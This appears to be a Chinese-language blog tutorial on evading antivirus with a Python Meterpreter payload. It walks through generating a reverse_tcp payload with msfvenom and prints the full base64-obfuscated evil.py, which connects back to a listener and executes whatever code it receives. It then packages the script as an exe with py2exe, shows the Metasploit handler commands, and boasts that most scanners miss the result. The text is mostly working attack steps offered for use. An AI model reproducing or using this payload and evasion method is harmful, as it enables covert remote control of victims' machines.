很多渗透工具都提供了权限维持的能力&＃xff0c;如Metasploit、Empire和Cobalt Strike&＃xff0c;但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候&＃xff0c;似乎越来越多的人关注的是&＃xff0c;这个方式会不会被被杀软杀掉&＃xff1f;
打造免杀的payload成了一个很重要的话题&＃xff0c;在这里&＃xff0c;本文将介绍如何使用Pyhton轻松绕过防病毒软件。
0x01 环境准备
1、软件安装
Python 2.7.16 x86&＃xff1a;https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位&＃xff1a;https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
2、msfvenom生成Python Payload
msfvenom -p python/meterpreter/reverse_tcp LHOST&＃61;192.168.28.128 LPORT&＃61;443 -f raw -o /var/www/html/evil.py
evil.py 代码如下&＃xff1a;
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,&＃39;UTF-8&＃39;)}[sys.version_info[0]](&＃39;aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK&＃39;)))
0x02 py2exe 打包Python程序
将evil.py复制到windows&＃xff0c;同时创建一个setup.py文件&＃xff1a;
from distutils.core import setup
import py2exe
setup(
name &＃61; &＃39;Meter&＃39;,
description &＃61; &＃39;Python-based App&＃39;,
version &＃61; &＃39;1.0&＃39;,
console&＃61;[&＃39;evil.py&＃39;],
options &＃61; {&＃39;py2exe&＃39;: {&＃39;bundle_files&＃39;: 1,&＃39;packages&＃39;:&＃39;ctypes&＃39;,&＃39;includes&＃39;: &＃39;base64,sys,socket,struct,time,code,platform,getpass,shutil&＃39;,}},
zipfile &＃61; None,
)
下面的方法运行 evil.py&＃xff0c;生成可执行文件。
0x03 设置监听端口
Kali 运行Metasploit&＃xff0c;设置监听&＃xff1a;
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.28.128
set LPORT 443
run
在Windows中运行evil.exe&＃xff0c;获得一个meterpreter的会话
0x04 免杀验证
确认生成的exe文件可正常工作&＃xff0c;接下来对evil.exe进行在线病毒扫描&＃xff0c;以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎
扫描结果&＃xff1a;47款杀毒引擎中&＃xff0c;只有一个引擎报毒&＃xff0c;主流的杀毒软件全部绕过。
网站地址:http://www.virscan.org
参考文章&＃xff1a;
https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
京公网安备 11010802041100号